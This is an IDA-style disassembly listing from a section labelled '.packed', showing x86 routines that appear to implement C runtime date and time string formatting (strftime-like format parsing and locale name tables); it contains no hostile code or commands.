loc_437625:				; CODE XREF: .packed:0043761Aj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_43769A
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43761C
; ---------------------------------------------------------------------------

loc_43769A:				; CODE XREF: .packed:00437629j
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx

loc_4376A9:				; CODE XREF: .packed:00437607j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_454DE8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4376E8
; ---------------------------------------------------------------------------

loc_4376DF:				; CODE XREF: .packed:00437720j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx

loc_4376E8:				; CODE XREF: .packed:004376DDj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_437722
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+68h]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4376DF
; ---------------------------------------------------------------------------

loc_437722:				; CODE XREF: .packed:004376ECj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_41BE40
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4377DB
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_437756
; ---------------------------------------------------------------------------

loc_43774D:				; CODE XREF: .packed:004377CAj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx

loc_437756:				; CODE XREF: .packed:0043774Bj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4377CC
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43774D
; ---------------------------------------------------------------------------

loc_4377CC:				; CODE XREF: .packed:0043775Aj
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx

loc_4377DB:				; CODE XREF: .packed:00437738j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, off_454DE8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_437818
; ---------------------------------------------------------------------------

loc_43780F:				; CODE XREF: .packed:0043784Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx

loc_437818:				; CODE XREF: .packed:0043780Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_437851
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_43780F
; ---------------------------------------------------------------------------

loc_437851:				; CODE XREF: .packed:0043781Cj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_437863
; ---------------------------------------------------------------------------

loc_43785A:				; CODE XREF: .packed:0043789Bj
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax

loc_437863:				; CODE XREF: .packed:00437858j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_43789D
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_41BC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	ecx, [eax+esi+2]
		mov	[ebp-8], ecx
		jmp	short loc_43785A
; ---------------------------------------------------------------------------

loc_43789D:				; CODE XREF: .packed:00437867j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+98h]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+9Ch]
		push	edx
		call	sub_41BC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	eax, [eax+esi+2]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A4h]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-8]
		lea	eax, [edx+eax+1]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		add	eax, 0ACh
		push	eax
		call	sub_41BE40
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_437B56
		mov	ecx, [ebp-4]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-4]
		add	edx, 0ACh
		mov	[ebp-14h], edx
		push	0ACh
		mov	eax, off_454DE8
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_43797A
; ---------------------------------------------------------------------------

loc_437971:				; CODE XREF: .packed:004379ECj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx

loc_43797A:				; CODE XREF: .packed:0043796Fj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4379EE
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4+1Ch], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4+1Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		jmp	short loc_437971
; ---------------------------------------------------------------------------

loc_4379EE:				; CODE XREF: .packed:0043797Ej
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_437A00
; ---------------------------------------------------------------------------

loc_4379F7:				; CODE XREF: .packed:00437A74j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax

loc_437A00:				; CODE XREF: .packed:004379F5j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_437A76
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+38h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+68h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		jmp	short loc_4379F7
; ---------------------------------------------------------------------------

loc_437A76:				; CODE XREF: .packed:00437A04j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+98h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+98h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+9Ch], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+9Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A0h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A0h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+0A4h], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0A4h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A8h], edx

loc_437B56:				; CODE XREF: .packed:00437939j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_437B80
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437B80	proc near		; CODE XREF: .packed:00437B75p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_437BBE
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_437BC5
; ---------------------------------------------------------------------------

loc_437BBE:				; CODE XREF: sub_437B80+1Ej
		mov	[ebp+var_8], 0

loc_437BC5:				; CODE XREF: sub_437B80+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_437BD6
		mov	ecx, off_454DE8
		mov	[ebp+var_10], ecx
		jmp	short loc_437BDC
; ---------------------------------------------------------------------------

loc_437BD6:				; CODE XREF: sub_437B80+49j
		mov	edx, [ebp+arg_10]
		mov	[ebp+var_10], edx

loc_437BDC:				; CODE XREF: sub_437B80+54j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax

loc_437BE2:				; CODE XREF: sub_437B80:loc_437CCEj
		cmp	[ebp+var_C], 0
		jbe	loc_437CD3
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_437C02
		cmp	[ebp+var_14], 25h
		jz	short loc_437C07
		jmp	short loc_437C61
; ---------------------------------------------------------------------------

loc_437C02:				; CODE XREF: sub_437B80+78j
		jmp	loc_437CD3
; ---------------------------------------------------------------------------

loc_437C07:				; CODE XREF: sub_437B80+7Ej
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4F3760, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_437C38
		mov	dword_4F3760, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax

loc_437C38:				; CODE XREF: sub_437B80+A3j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_437D10
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_437CCE
; ---------------------------------------------------------------------------

loc_437C61:				; CODE XREF: sub_437B80+80j
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_437CA9
		cmp	[ebp+var_C], 1
		jbe	short loc_437CA9
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_437CA9:				; CODE XREF: sub_437B80+FCj
					; sub_437B80+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_437CCE:				; CODE XREF: sub_437B80+DFj
		jmp	loc_437BE2
; ---------------------------------------------------------------------------

loc_437CD3:				; CODE XREF: sub_437B80+66j
					; sub_437B80:loc_437C02j
		cmp	[ebp+var_8], 0
		jz	short loc_437CE5
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_437CF0
; ---------------------------------------------------------------------------

loc_437CE5:				; CODE XREF: sub_437B80+157j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_437CF0:				; CODE XREF: sub_437B80+163j
		cmp	[ebp+var_C], 0
		jbe	short loc_437D04
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_437D06
; ---------------------------------------------------------------------------

loc_437D04:				; CODE XREF: sub_437B80+174j
		xor	eax, eax

loc_437D06:				; CODE XREF: sub_437B80+182j
		mov	esp, ebp
		pop	ebp
		retn
sub_437B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437D10	proc near		; CODE XREF: sub_437B80+CEp
					; sub_4384E0+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_438278
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, byte_4382D9[eax]
		jmp	off_43827D[edx*4]

loc_437D43:				; DATA XREF: .packed:004382ADo
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_438330
		add	esp, 0Ch
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437D65:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:00438281o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	sub_438330
		add	esp, 0Ch
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437D88:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382B1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_438330
		add	esp, 0Ch
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437DAB:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:00438285o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_438330
		add	esp, 0Ch
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437DCE:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382B5o
		cmp	dword_4F3760, 0
		jz	short loc_437E56
		mov	dword_4F3760, 0
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax
		call	sub_4384E0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_437E10
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437E10:				; CODE XREF: sub_437D10+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_4384E0
		add	esp, 14h
		jmp	short loc_437EC9
; ---------------------------------------------------------------------------

loc_437E56:				; CODE XREF: sub_437D10+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_4384E0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_437E85
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437E85:				; CODE XREF: sub_437D10+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_4384E0
		add	esp, 14h

loc_437EC9:				; CODE XREF: sub_437D10+144j
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437ECE:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382B9o
		mov	ecx, dword_4F3760
		mov	dword_4F3764, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437EF8:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:00438289o
		mov	eax, dword_4F3760
		mov	dword_4F3764, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437F20:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:0043828Do
		mov	edx, dword_4F3760
		mov	dword_4F3764, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_437F4A
		mov	[ebp+var_4], 0Ch

loc_437F4A:				; CODE XREF: sub_437D10+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437F65:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382BDo
		mov	edx, dword_4F3760
		mov	dword_4F3764, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437F92:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382C1o
		mov	ecx, dword_4F3760
		mov	dword_4F3764, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437FBF:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:00438291o
		mov	eax, dword_4F3760
		mov	dword_4F3764, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_437FE7:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382C5o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_43800C
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	sub_438330
		add	esp, 0Ch
		jmp	short loc_438026
; ---------------------------------------------------------------------------

loc_43800C:				; CODE XREF: sub_437D10+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_438330
		add	esp, 0Ch

loc_438026:				; CODE XREF: sub_437D10+2FAj
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_43802B:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:00438295o
		mov	edx, dword_4F3760
		mov	dword_4F3764, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_438054:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:00438299o
		mov	ecx, dword_4F3760
		mov	dword_4F3764, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_4380BD
; ---------------------------------------------------------------------------

loc_43806B:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382C9o
		mov	ecx, dword_4F3760
		mov	dword_4F3764, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_438095:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:0043829Do
		mov	eax, dword_4F3760
		mov	dword_4F3764, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_4380B1
		mov	[ebp+var_8], 6
		jmp	short loc_4380BD
; ---------------------------------------------------------------------------

loc_4380B1:				; CODE XREF: sub_437D10+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax

loc_4380BD:				; CODE XREF: sub_437D10+359j
					; sub_437D10+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_4380D1
		mov	[ebp+var_4], 0
		jmp	short loc_4380FE
; ---------------------------------------------------------------------------

loc_4380D1:				; CODE XREF: sub_437D10+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
